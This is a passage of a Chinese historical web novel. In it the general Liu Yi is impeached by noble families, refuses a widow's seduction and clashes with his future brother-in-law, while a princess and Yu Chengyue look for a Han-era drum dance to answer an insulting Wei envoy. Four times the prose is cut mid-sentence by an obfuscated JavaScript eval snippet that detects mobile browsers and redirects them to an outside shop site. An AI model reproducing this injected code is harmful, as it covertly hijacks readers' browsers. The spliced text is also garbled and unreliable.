天子所在的宫殿是显阳殿,这里的朱漆梁柱龙纹环绕,较之含章殿的清丽婉约,更多了些威严庄重。 显阳殿是天子的寝殿,一般的官员是不能来这里的;但这次,天子将刘毅召了过来。 “爱卿,你看看,这些都是弹劾你的奏章。” 天子的御桌前堆满了奏章,天子翻阅后,发现它们只有一个主旨——弹劾刘毅。在天子的记忆里,这些家族还从没有这么齐心过。 而他们弹劾刘毅的理由,总结起来就是说他凶狠暴虐,毫无仁爱之心,不堪为一军之统帅。 “陛下,这些人尸位素餐,搅乱军纪,严重影响北府军的战斗力,如果不管,那么我们怎么能保卫京师,保卫陛下呢!?”刘毅不肯低头,那倔强的样子和六年前他毛遂自荐,申请挂帅征讨孙恩时一模一样! 那时候,所有人都不相信,一个毛头小子,能平定那声势浩大的五斗米教叛乱;而刘毅也是像现在这般抿着嘴唇不服气,不管其他人如何嘲讽抨击,他都眼神坚定,不肯低头。 天子那时也是年轻,竟然觉得这小子可以!一向犹豫不决的自己,竟真的任命他为讨逆将军,北府军任其调遣!别无他法的摄政王司马逊,也只能默许。 而后,刘毅果然没让他失望,即使那些世家子弟不服气,各种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285909|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小动作不断。但刘毅足够智慧和果决,将那些阴谋扼杀在萌芽之中;也足够勇猛,指挥着北府兵屡战屡胜。他平定了叛乱,一战震天下!各地的军阀和世家贵族,也噤声了不少,天子也因此获得了更多的话语权。 现在,他们好像又重回了当年的场景。质疑,弹劾……可是,有几人是为了这个国家? “坎坎伐檀兮,置之河之干兮。河水清且涟猗。不稼不穑,胡取禾三百廛兮?不狩不猎,胡瞻尔庭有悬貆兮?彼君子兮,不素餐兮!” 天子轻轻敲动着檀板,缓缓吟诵起了这古老的歌谣,歌声悠扬而忧伤。 连刘毅都被这曲调所触动,眉眼和缓下来,周身不屈的气息也渐渐松动了。 一曲终了,天子叹了口气,“爱卿,我知道你的苦心,可是他们的势力盘根错节,连孤都要礼让三分啊!” “如果陛下是让臣放松对北府军的督察,那么臣请求撤去建军将军一职!” 还是那么的刚直,但世间之事,都是过直易折的。 “我怎么会撤去你的职位?!你就去认个错如何呢?”天子无奈地建议道。 “臣忠于陛下,臣无罪!” “那就只跟张家的小子认错呢?” 一帘之隔的另一间室内,是他的贵嫔张氏。昨夜,张贵嫔缠着自己,哭着要自己为她那个被打的侄子讨回公道。天子的头又疼了,“你也想要朕治刘毅的罪?” “陛下,妾身只有这么一个亲侄子,怎么能任由别人折辱嘛!陛下要是还疼妾身,就为妾身做主嘛~” “别人?刘毅可是朕的建军将军!”天子的声音中有些隐隐的怒火。 张贵嫔是个乖觉的人,她不敢再说话了。往日那种流动的缠绵似乎凝固了,气氛不太令人舒服。 好不容易有一个放松的地方,天子不想自寻烦恼,“明天,我让刘毅进宫,让他跟你们道个歉”。 这也算给了张家一个台阶,张贵嫔不敢再提什么要求了。 可现在,刘毅连简单的道歉都不肯!张贵嫔躲在帘子后,手帕都要被她搅碎。 “爱妃,你也看到了,这个人性格太耿直,不是我能左右的。” 刘毅回到位于建康城南的住宅,褪下厚重的朝服,也暂时卸下了这一日的疲惫。虽说他性格刚毅,可连续多日的弹劾和天子的无可奈何,让年轻的建军将军也有了些许忧虑。 也许自己真的不应该过于执拗,有些事情,不是凭自己的一己之力就能扭转的! “将军,这是今日午后有人送来的信。” 刘毅接过信笺,封面上绘有一簇粉色的桃花,格外显眼,明显是女郎所用。 整个建康城,除了她,还有哪个女郎会给自己写信呢? 沉闷的心忽然有些喜悦。 他打开信笺,将折叠的纸张铺开,映入眼帘的是一幅活灵活现的市井风情图。 画中一位年轻的士卒,蜷缩着身体,浑身血痕,看起来已经是奄奄一息了;一个穿着盔甲的武官,满脸怒气,高高举起马鞭,眼见马鞭就要落于这可怜的士卒身上...... 15. “求将军怜惜” 刘毅握着手中的画卷,思绪却飘忽到了十年前,那时的他还是北府军中最底层的小卒,奉命送妆匣到城郊的南山别业。刘毅当时的上官——一位北府军的校尉接过妆匣,准备把他的礼物送给这幢别业的主人。 可是一个失手,匣子掉到了地上,里面的一对碧玉凤簪碎成了两半。 校尉好不容易得到了与美人共处的机会,正想着殷勤讨美人欢心,哪知精心准备的礼物竟成了碎片! 暴怒之下,校尉将年轻的刘毅提到门外,烈日炎炎下,马鞭如雨点般落在尚且稚嫩的刘毅身上。不一会儿,少年的麻衣尽数裂开,伤口纵横,血肉布块混在了一起,格外狰狞。 少年不吭一声,紧握双手,任由身体承受着无情的毒打。那校尉见状越发恼火!这种倔强反倒像是对他权势的挑战,他的鞭子抽得更狠了,刘毅的视线变得模糊起来..... “将军,算了,我这里是清雅至极的地方,怎么能被这样的血迹玷污?”忽然,刘毅的耳边想起了一阵如黄莺般清脆的声音。 “夫人说得是。这种贱民,还不配脏了夫人的院落。来人,把他拖出去。” 在被拖走前,刘毅努力睁开了眼睛,模模糊糊中,他看到了那个救了自己的女人,美艳,高贵以及,和这个世界上所有的世家贵女一样的冷漠...... 他已经很久很久没有回忆起那时候的事了,但他知道,正是那段低贱如狗雉的岁月,驱赶着自己用命去撕杀,对敌人,也是对自己。 画卷的最后,是几行婉转的小楷: “君侯安好,妾久闻君侯大名,但恐打扰。今事出突然,恳求一见。妾于南山别业恭候君侯。” 南山位于建康城南郊,是一个异常僻静的地方。荒山野道,草木葱茏,虽然是炎炎夏日,但行走其间,连他一个大男人都会觉得有些阴森,也不知为何这位夫人会久居这里。 在侍女的引导下,十年后的刘毅又一次踏进了这座神秘的别业。青石板的小路在树林间蜿蜒,道路两边,有稀疏的身影在树林的遮掩下闪过,不知道是人类还是幽灵。 微风吹过,送来了缠绵的笛声,乐声细腻而哀婉,丝丝入心,似在诱导着来人探寻。 “就在这里了。”侍女停了下来。 眼前是一片空旷的庭院,庭院的四周被青色的帷幕笼盖,片片帷幕在微风中摇动,隐隐透出一位黑衣女子的身影..... “夫人,建军将军到了。”侍女轻声禀告。 那女子缓缓回头,她的眼眸之中笑意蔓延,原本美艳的容颜更因此添了几分妩媚。 “君侯来了,看来君侯是一位念旧之人。” 十几年前,郗锦瑟新寡回京,一些狂蜂浪蝶闻着风声而来。其中有一个粗鄙的武官几次三番地献殷勤,那时自己也还年轻,不堪其扰下只能将武官邀请到这个位于南山的偏僻别业。 谁知这个武官性情粗暴,直接在自己的门前毒打士卒。一个微末小卒当然不关自己什么事,只是郗锦瑟哪能让这个武官给自己的别业染上血腥?实在是玷污了此间风雅。于是她多嘴了一句,让武官放了人。 原本她早就忘了这件事。直到七年后,北府军大捷,击溃了令所有贵族胆战心惊的五斗米道的叛乱。 郗锦瑟和朋友坐在街肆的酒楼上,神色恹恹,楼下的鼓声、歌声混杂着人群的欢呼声,只让她觉得喧闹嘈杂。 “听说今天是北府军征讨五斗米教胜利回朝呢!”朋友兴致勃勃地介绍。 郗锦瑟随意看了一眼,闯入眼帘的年轻将军,让她的眼睛瞬间有了光彩:这个年轻的将领不仅有着武将矫捷如虎豹的身形,更难得的是,他的脸庞中还存留着些许的少年气息,是郗锦瑟这些年,从未在围绕着自己的酒色之徒身上看到过的干净的色彩。 这位年轻的将军跨骑于骏马之上,马蹄铮铮有力,周围的喧嚣并未让他的神色产生任何波动。他脊梁□□,巍峨不屈;面色冷峻,可以遥想战场上的肃杀与果决;银灰色头盔在阳光下闪动着白光,而顶峰的红缨随风而摇动,也摇进了郗锦瑟的心里。 “夫人,那个银色头盔的将军,好像有些眼熟。是之前那个被鞭打的小卒呢!”跟随郗锦瑟多年的侍女忽然叹道。 “什么?” “夫人,您还记得吗?那年在南山别业,有个北府武官毒打了手下,是您出言相救的。我当时觉得那个小卒被打得很惨,多看了两眼。这个将军,分明就是当年那个人。” 郗锦瑟心中忽然涌起了难以言喻的异样情绪。 人们都说造化弄人,年轻的她还不太明白,这一刻,她总算是有了体会。 这几年,自己虽说是世家贵女,可郗氏式微,她很难再嫁入同等门第的家族。所以守孝过后,父亲干脆利用她周旋于权贵之间,罗裙之下,也不知有多少风流韵事!这样一个声名在外的女人,她的未来又该托付于何人呢? 而那个被她所救的少年,短短七年的时间,从一个卑贱到尘埃里的小卒,摇身一变,成了北府军的将军!此次征战五斗米道大获全胜,这个年轻人更是前途不可量! 从那一天起,郗锦瑟开始关注起了这位北府军将领。他在世家大族把持的朝堂上搅动起了不小的风云,不仅受封都督三州军事,驻守丹徒拱卫京师,更从郗氏手中夺走了北府军的最高兵权,这让郗锦瑟的父亲勃然大怒,自此怀恨在心。 时隔多年,眼前的这位女子,早已不是豆蔻年华,可她的风姿相较当年却并未消减,黑色的纱衣凝结着岁月的印记,散发出浓郁的神秘和芬芳。 “当年夫人曾救过我一命,这件事我是不会忘记的。”刘毅拱手致意,“不知夫人此次召毅所为何事?” 郗锦瑟轻轻举起一杯斟满酒的翡翠盏,衣袖滑落,露出一截皓白的手腕,在红麝珠的手串映衬下,越发显得酥润细腻。 “将军请。” 美人盛情相邀,又曾有救命之恩,刘毅也不起疑,一饮而尽。 郗锦瑟见状,语气更加柔婉,“将军只身前来,小女子感激不尽。这杯酒,一是为小女子的阿弟赔罪。” “赔罪?你是?”这几日与自己有过冲突的人也不止一位了。 “妾乃昔日江陵刺史的未亡人,也是郗氏长女,郗锦瑟。”神色哀伤,令人不忍。 原来是郗氏那个嫁给曾经的江陵刺史,后又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285910|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守寡的女儿。刘毅眉头微皱。 郗锦瑟立刻抓住了刘毅表情的小小波澜,“将军,我那弟弟竟做出如此背离礼法的不齿之事!我,我身为他的长姐,教导无方,实在是愧对将军。” “这件事情,与夫人无关。” 一个守寡的外嫁女,恍如浮萍,怎么可能管得住郗家的嗣子?不过,她心有愧疚,良知尚在,在这些浮华张狂的世家子弟中,也算是难得的了。 “将军,以后,锦瑟一定多多劝阻阿弟。” “夫人有心了。” “将军,”郗锦瑟略略停顿,似有什么难以诉说的隐情。 “夫人有话不妨直说。” 郗锦瑟似乎是下了很大的决心,“将军可曾听到过关于锦瑟的流言?” 刘毅一时语塞,贵族的那些风流韵事,在男人们中间流传甚广,其中最香艳的莫过于这位锦瑟夫人了,就算是刘毅常年驻守丹徒,也听人说起一二。 从她回到京都时起,就因出众的美貌和高雅的姿态,引得众人瞩目,从权臣到武将,无数英雄名士尽皆拜倒于她的风采之下。 可刘毅总不能真的回答说,“对,我听人说起说过你的风流韵事。” “末将久居外镇,未曾听过关于夫人的传言。”这是一个善意的谎言。 郗锦瑟却明白,流言,传言,一字之差,背后的含义却是天壤之别,这是刘毅在尽力保护一个弱女子的摇摇欲坠的尊严。 “锦瑟自从回到京都,从没有得到过将军这样的尊重,”郗锦瑟稍稍整顿了下她复杂的心绪,“将军之心,锦瑟感激不尽。” “夫人言重了。” “锦瑟寡居多年,原本是想青灯古卷,了此残生。只是,父亲觉得,郗氏的子女,不能做对家族无用之人,因此,我被引荐给了一些对郗氏有助力的人.....” 郗锦瑟有些哽咽,美丽的双眼蒙上了一层朦胧的雾气,似沾染了露水的花瓣,无比惹人怜惜。她的身体似乎有些承受不住往事的冲击,只能勉强撑着身旁的案几才不至于倒下。 刘毅上前一步,有心搀扶,但又顾及男女之别,只能徒然驻足。 余光看到男人的犹豫,郗锦瑟心中了然,她轻轻擦拭掉脸颊的泪水,尽力挤出一点笑意,故作坚强道,“女子身于乱世,又无夫婿和家族的扶持,实在不该如此孱弱,让将军见笑了。” “夫人弱质芊芊,又对末将有救命之恩,末将岂敢笑话夫人?” “将军,妾蒙受污名,本不敢烦扰将军,只是这次.....” “夫人但说无妨!” “上个月我去宫中看望张贵嫔,与太傅司马逊偶遇,他便存了觊觎之心。父亲知道后,想让我去侍奉太傅!将军,锦瑟已是泥泞之身,早就对父亲的安排言听计从了,可,可,”郗锦瑟以袖掩面,“那司马逊,据说性情残暴,姬妾常常暴毙,锦瑟,实在害怕!” “夫人将这些隐秘之事告知末将,此等信任,末将万分感动。夫人有什么需要,尽可以提出来,末将能做的,一定在所不辞!” “将军,”郗锦瑟腰肢娇软,柔柔地跪在了刘毅的脚下,“求将军怜惜锦瑟。” 16. 异族王子 白色的帷帐在微风中轻轻飘扬,光影忽明忽暗,仿佛梦境一般的朦胧。 郗锦瑟柔柔地侧跪于刘毅地身边,暗香萦绕,氛围便有了一丝丝的暧昧。 她缓缓抬起头,双眸之中波光流转,春水盈盈;轻薄的黑纱从肩头滑落,一片玉软花柔..... 郗锦瑟知道,这是自己最妩媚的样子,没有那个男子能拒绝…… 已经到了这一步,刘毅哪里还不明白郗锦瑟的用意? 但他后退一步,“夫人不愿遵从郗大人的命令,直接拒了便是,末将也可派人护送夫人回到江陵。” 当年郗锦瑟新寡,夫家为她保留了江陵的住所。只是身为未亡人,缁衣素食,孤梅野鹤,这又岂是郗锦瑟所能忍受的? 见刘毅并不肯接受自己,郗锦瑟双眼含泪,“大人!锦瑟仰慕大人已久!此心拳拳,天可怜见!” “末将敬重夫人!决不能做出玷污夫人之事!” “将军可是为了那位虞氏女?” 这是刘毅离开前听到的最后一句话,他的脚步略有停顿。 但郗锦瑟并没有等到任何回答,只有刘毅决然离去的身影。 朝堂上,由刘毅掀起的波浪还未结束,北方的魏国又派来了使者;这位使者身份尊贵,是魏国皇帝的亲弟弟,名叫拓跋珪。晋魏两国交战已久,三年前才稍有平息,这期间双方的使者都是谦逊有礼,可这次的魏国使者,神情和言语都颇为傲慢,这让人不仅怀疑,魏国皇帝是不是真的有意两国和平…… 这位使者最常去的地方,是建康城的清商属。清商属是一个汇集了全国最优秀艺人的地方,这里搜集了各地的音乐和舞蹈,由这些优秀的艺人进行改编和演出,以供朝廷所需。 去年,晋国天子挑选了几十位色艺俱全的艺伎送到北方的魏国;这次,魏国使者也带来了本国的官伎,据说是专程前来学习。 在清商令的安排下,美丽的舞伎们身着白色罗裙,长袖翩跹,向魏国使节展示着风雅。 “这是在江南地区最流行的《白纻舞》。”清商令向使者介绍道。 年轻的魏国王子神情倨傲,“美哉!其细已甚,民弗堪也。是其先亡乎?” 听到使者言语的晋国诸人瞬间变了脸色! 这句话出自《左传》,记录的是春秋时期吴国公子季札在鲁国观赏《郑风》后的感叹,大意是郑国的音乐虽美,但过于琐碎浮靡,怕是要亡国了吧! 魏国使节看完晋国的乐舞后引用这段话,分明是在鄙视和诅咒! 还没等随从的晋国官员严肃回应,已有人提前发出了质问! “你是什么意思!?” 拓跋玮回头看去,这是一个年轻的女郎,肌肤白皙,容色甚美,清商属不乏年轻美丽的艺人,但这个敢于质询自己的女郎,她的腰背挺得笔直,脸上毫无媚态,眉宇间怒气弥漫,有着不容忽视的威严,看起来并不像是这里的乐伎。 “你是什么人?”拓跋玮问。 “这是我们的昭明公主。” 昭明公主柳眉倒竖,一副不会善罢甘休的模样。她和乘月一样喜爱乐舞,听说这次两国乐舞交流的事,两人便常常到清商属观赏乐伎的表演。 哪知今日就碰到了这个魏国使者口出狂言! “原来是公主殿下,”魏国使者了然,他淡定地回答道,“殿下,世人都说晋国是华夏正统,可我看今日你们展示的这些乐舞,皆是轻浮飘渺,周代的端庄肃穆,大汉的飞腾纵跃全无踪迹,哪里还有什么华夏遗风?” “我们晋国的乐舞种类繁多,你不过看了一支《白纻舞》,就妄下论断,未免过于草率了!”昭明气愤道。 “何止《白纻舞》?你们晋国送来的女乐,小王也看过,尽是些靡靡之音!哪里及得上我朝的气势浩荡!”使节冷哼一声。 “我们会根据使者的风格选择展示的乐舞,魏国使者言行傲慢,正要用清雅的乐舞好好教化一番呢!”昭明公主讽刺道。 “哈哈!教化?你们有什么资格说教化?!”拓跋玮极为厌恶教化这两个字,他们胡人哪里比不上汉人?还需要他们来改变? “我们华夏是礼仪之邦,对待蛮夷自然有教化的义务!”昭明抓住了拓跋玮的痛点,精准出击。 …… 两人你一句我一句,针尖对麦芒,互不相让,像是战场上敌对的双方。 “你们晋人南渡以后,偏安一隅!留在北方的我们才是华夏正统!你们屡战屡败,风骨全无,舞蹈也尽是轻柔浮靡,真不知皇兄为何还要派人过来学习!” “你!你!”昭明气得脸色发白,她双手握拳,要不是考虑到公主的身份和两人武力值的差别,恐怕此刻已经和这个鲜卑人扭打在一起了。 “真是狂妄!在我们面前都这样傲慢,不知道私底下该多么贬低我们的国家!”乘月心想。 “王子殿下如此自负,不如让两国女乐竞演,看看到底哪一方才是华夏正统,大汉遗风!”虞乘月也加入了这个战场。 “对,你口口声声说你们的乐舞才是华夏遗风,那敢不敢和我们比一场!” “哼!比就比!” 魏国使者拂袖而去,清商令却有些犹疑了。 以往两国交往,武艺或者文章的比试都是常有的事。文章之事,自然是南方的晋国一骑绝尘;武艺上,北方的魏国人则常常压过晋人一头。可是乐舞,对于士族来说,不过是享乐之用,从没有听过在两国外交这么严肃的场合,会以乐舞以较高低。 “公主,乐舞只是小事,哪里值得两国相争啊!”清商令劝道。 “那个魏国使节处处借乐舞贬低大晋!乐舞虽是小事,也不能成为他们踩踏晋国的借口!我要让他看看,什么是真正的华夏乐舞!”昭阳公主说到那个从北方而来的使者,怒气不减。 “我们先看看,有哪些合适的剧目吧。”乘月建议道。 清商令只好拿出几本册子,“这是清商属目前能演出的乐舞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285911|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,称得上是晋国最好的舞蹈了。” 昭明公主眉头微皱,“都是一样的轻柔婀娜。有没有民间的乐舞?” 清商令有些不乐意了,他们家族世代负责整理音乐和舞蹈。百年来,祖辈们辛苦挑选出的最风雅的乐舞,整理成舞谱记录在册子上,家族世代的心血,却被异国的王子和年轻的公主轻易否定了。 “民间乐舞,大部分都很鄙陋,即使是被选中,也要经过润色,臣认为没有考虑的必要。”清商令直接拒绝。 日暮时分,位于京郊的北府军营迎来了一位客人——虎贲中郎将褚阳宇。 褚阳宇踏入军营的那一刻,各处的操练声、号角声不绝于耳。 以前人们一提到京都的北府军,无不摇头,那里成了纨绔聚集的代名词;现在,军纪肃然,即使是黄昏,也不见一丝一毫的松懈。 “这位建军将军的督察果然有效!”褚阳宇心中赞叹。 刘毅已得到消息前来迎接,“虎贲中郎将今日到此,可是天子有令?” 褚阳宇笑道,“我这次来,不是为了公事。” 既然不是公事,那就是私事了。可是,刘毅和他并无任何来往。 “将军可知,张氏和郗氏等家族,已经去拜访了太尉大人。”原本父亲褚武江也因为挑拨火气上头,准备一起进言,还好被自己拉了回来,毕竟虞褚姻亲,刘毅受罚对他们都没太大好处。 刘毅脸色一沉,“如果中郎将也是为了劝说,那就大可不必了。” “我不是为了劝说,而是想提前告诉将军这件事,让将军有所准备。” “多谢中郎将!” “将军打算如何应对?” “只要我还在建康一天,就会继续督察整顿。”战事不知何时就会发生,他既身为北府军主官,就必须保证北府军的战斗力,不能有任何的妥协。 “难道将军就不担心太尉责罚?”虽然刘毅几乎手握晋国军事的半壁江山,但是他出身寒门,在地方上缺少支撑,又是天子一派,现在又有舆论的推波助澜,简直就是司马逊撤掉其职务的最好时机! “中郎将,我本就是流民,如果太尉大人要惩罚我,无非再回去继续做一个流民罢了。”刘毅淡然道。 “可是,我的妹妹呢?”褚阳宇脱口而出,“难道,你忍心乘月跟着你四处流亡吗?!” “乘月?”刘毅看向褚阳宇,年轻的虎贲中郎将眼神中满是忧虑,以及不易察觉的怜惜。 原来这个褚阳宇来到这里,竟然是为了乘月吗? “乘月的人生,因为你,已经起了很多的波澜!适可而止吧!虞家和褚家都会帮你!” 刘毅思考良久,“我不会让她跟着我受苦。但是,我不会停止对队伍的肃清!” 刘毅顿了顿,更加坚定地回道,“你我同为武将,必然知道我们的职责。我从进入行伍的那天就发誓,不要让这个国家再因为战争产生流民,不要让像我这样的庶民,因为战乱而受苦!” 17. 舞坊 在一个人人为了自保而恪守中庸,为了利益而攀附钻营的时代,有多少人还记得年幼时所立下的为了天下苍生的理想?那些话说出来,恐怕都会被人嘲笑为幼稚吧! 可是,这位从最底层的行伍拼搏出来的建军将军没有忘记,并且一直在践行,即使这会让他陷入极为危险的境地。 眼前这个气质略显粗鲁的男子,并不是他褚阳宇所熟悉的那一类人! 原本因为乘月的婚事,褚阳宇对刘毅存了偏见,以为这又是一个为了权势而投靠公卿世家之人,这样的人,身为公卿嗣子的他不知道见过多少!这次前来拜访和劝阻刘毅,也只是出于对虞褚两家和对乘月的担忧。 而现在,他的心中更多的是对这个面目刚毅的武将的敬重。 “人言可畏,兄长保重。”褚阳宇抱拳致意。 最近,建康城内的各大妓坊迎来了三个奇特的客人,其中的两人扮成贵公子的模样,明明脸上还带着稚气和拘谨,却模仿那些贵公子的举止,大摇大摆地走进这些纸醉金迷的风月场。 那些鸨母一个个都是人精,哪里看不出来她们其实是年轻的女郎?可是这几人气度不凡,出手阔绰,鸨母们也就不好拒绝这上门的生意了。 没错,这两个扮成贵公子模样的女郎就是我们的虞氏乘月和昭明公主。 自从清商令拒绝挑选民间乐舞后,她们便打算亲自去民间的妓坊寻访。不过两个年轻的世家女对建康城的妓坊根本不了解,乘月立刻想到了自己青梅竹马的表哥褚阳宇,他是天子的虎贲中郎将,同时也要负责皇城的治安,对建康城各个街道也算是熟悉了,几个妓坊应该也不在话下。 于是,我们的虎贲中郎将前脚还在建军将军的营帐,后脚就被乘月请到了虞府。 “表哥,求你了。”虞乘月的眼睛忽闪忽闪,眉头微蹙,楚楚可怜的样子,可是微微翘起的嘴角又泄露了她的志在必得,真是狡黠又可爱。 “还有,可不许告诉阿父阿母。” 褚阳宇无奈扶额,“好,都依你。” 他带着乘月和昭明公主去了建康城内以乐舞著称的妓坊,可这些妓坊的舞蹈和清商署的乐舞并无太大区别,只是更加柔靡罢了。 而今日,他们所到的,是京都最好的舞坊。这座舞坊的老板是认得虎贲中郎将的,他当即叫出了坊内身价最高最善舞的舞姬。 高台之上,轻纱薄幕,风袖凄凄,纤腰回转,巧笑倩兮,极尽妍婉。舞台之下,宾客们如痴如醉,高声喝彩。 “这些舞如何呢?”褚阳宇问。 昭明公主摇摇头,“这是不能在竞演时赢过鲜卑人的舞。” “那个魏国王子不喜欢轻柔绮丽,不等于轻柔就不好啊!”褚阳宇不明白为何乘月她们要把魏国使者的话看得这样重。 “轻柔是一种美,但这种美是偏于孱弱的,总不能告诉魏国人,我们的文化只有柔弱和卑下吧!我们要展现出华夏厚重的风貌,就必须跳出有风骨的舞啊!”乘月解释道。 “各个伎坊都寻遍了,还能去哪里去找更有风骨和气势的乐舞呢?” “你们会不会跳汉代的乐舞?”只能把希望寄托给这些专业的舞者。 舞者们面面相觑,汉代,那是很远的时代了,汉末战乱,各种乐舞散佚殆尽,她们又如何能习得呢? “这次我们大晋要和魏国进行一次乐舞竞演,唯有汉代乐舞有希望胜出。此刻是需要诸位的时候,也是诸位展现才华的时候,有没有人愿意一试?” 舞姬们心中跃跃,她们身在妓坊,只能卑微地用姿色取悦他人,连她们视为珍宝的才艺,也不过是能被人随意践踏的玩意,能有一个机会在这样大的舞台展示才华,那是多么荣耀的事情啊!说不定一舞成名,像汉代的赵飞燕那样,靠姿容和舞技得到贵人的认可,一下子飞上枝头! 可是却依然没有一个舞姬敢站出来说自己会汉代的舞。 “也许,贵客们愿意听老妇说说话。”一个沧桑的声音在人群后响起。 众人循声望去,是一位年过四旬的妇人,她身着简单的湖水蓝襦裙,虽然没有舞姬们精致的妆容,但发髻纹丝不乱,在喧闹的舞坊,平添一分沉静。 “这位前辈是?” “老妇是清商署在册的艺人,也是这些舞姬的教习师傅。” 清商署在册的官伎时常会面临考核,而必定是才艺超群者才会在年老色衰之时还能被舞坊邀请作教习的师傅。 “听贵客的意思,是觉得我们的舞不好,一定要汉代的乐舞才能与那胡人一争?” “也不是,”乘月有些尴尬,“贵坊的舞在清商乐舞中也是数一数二的了,只是少了些风骨。” “风骨,哈哈!你们竟然来到妓坊寻找风骨!”教习笑出了声,颜色中略带讥刺。 妓坊之人,身为乐籍,只能谄媚贵客,献艺而活,又何谈风骨?在这些不幸的人面前说起这个词,未免有些何不食肉糜了。 “我们走吧。” “不过,我倒是想起了一个人。”教习话锋一转,成功地留住了三人。 “这个人是我们那一辈最出色的舞者,醉心于前朝散佚的舞蹈。当年为了拔得竞演头筹,获得清商令亲自授予的代表最高技艺的铜雀钗,她私下练习踏盘,想要再现汉代的盘鼓舞!” “汉代的鼓舞!”那可是最能代表汉代气质的乐舞!舞者在鼓上腾挪,鼓声铮铮,刚毅热烈,是这个时代没有的色彩! “她成功了吗?”三人目光炯炯,重燃希望。 “成功了,那天,我看着她在红色鼓面上跳舞,那种飞扬的神彩!”教习的神色不再平静,她仿佛回到了亲眼见到踏盘舞的那天,那个人面色骄傲,一步一踏,一步一响,鼓声咚咚,散发着蓬勃的力量! “那这位前辈是谁呢?是否在清商署的名册?” “她叫玄玉,已不在清商署的名册上。” “这样优秀的舞者,为何不在清商署的名册呢?” 教习叹气道,“她本就貌美,又舞技出众,自然被人像绿珠一样被珍藏了起来。只是可惜,那年的竞演,她没有机会参加,盘鼓舞也没能惊艳世人。” 原来是被贵人纳为了私有。不过对于身份低微,命若浮萍的艺伎而言,后半生衣食无忧,也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285912|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一件幸事吧! “那玄玉前辈现在是在谁家呢?还能再跳盘鼓舞吗?” 教习苦笑道,“玄玉的美貌和才艺,在清商署时,是尽情闪耀的星星;可在贵人的庭院,她只是贵人的私人物品,怎么能再像从前那般起舞?” “我们去把她请出来,只是教一教舞呢?” “来不及了,那个贵人将一颗明珠占为己有,不愿意其他人欣赏这颗明珠的辉煌。玄玉却仗着主君的宠爱,依旧出入伎坊,参与各种乐舞的编排和演出。庭院深深,她的盛宠本就招致了无数的嫉恨,自然少不了其他姬妾添油加醋,说她在外招摇,与他人有染,主君大怒,竟然生生打断了玄玉的双腿。” “啊!”众人大惊。一个舞者,失去了双腿,和失去生命有什么区别? “后来呢?”虞乘月轻声问。 虞云华从酒楼出来,神色愤愤!作为京都虞氏的嗣子,一直对自己的身份极为骄傲。未来,他会和虞氏的先祖一样,手握玉蝶,身着紫色的朝服,面色庄严地登上九重宫阙,与天子共议天下政事。 可是,从阿姐和刘毅定亲起,一切都变了!酒席之上,那些同侪少年们各个语含讥刺。 “逸章,你这以后去丹徒可方便了啊!” “哈哈哈!逸章可不敢去哦!那个建军将军凶残得很,我家阿兄都被他打伤了!” 一群小人! 虞云华双手握拳,走得越来越快! “喂,你撞到我的摊子了!”一个麻衣小贩拦住了虞云华的去路,他的摊子被虞云华撞翻,筐子倒了,贩卖的水果散落在地。 “滚!” “哎哎!你赔我银子!不许走!”小贩也没看出来虞云华士族的身份,直接抓住了少年的手! 虞云华大怒,“你是什么东西,竟敢碰本公子!” “哟!还挺有脾气,留下来给我做个小厮就放过你!”小贩看虞云华年纪不大,皮肤白皙,眉清目秀,说话就有了点轻浮的意思。 “你找死!” 虞云华抄起地上的木棍就往小贩身上砸。那小贩想反抗,但虞云华自幼习武,武艺由军中武将亲自教导,那小贩如何抵抗得了? 没几下,便只听得到小贩微弱的呼救声了。 路人围作一团,眼见得这个秀气的小郎君招式凌厉,竟没有一人敢上前劝架。 虞云华还要再打,手却被人死死扣住! 虞云华愤愤转头,竟是那个刘毅! “放手!”少年怒道。 “当街行凶,这便是你的教养吗?”刘毅沉声道。 “你凭什么管我!”少年红着脸大声吼道! “我是你姐夫!” 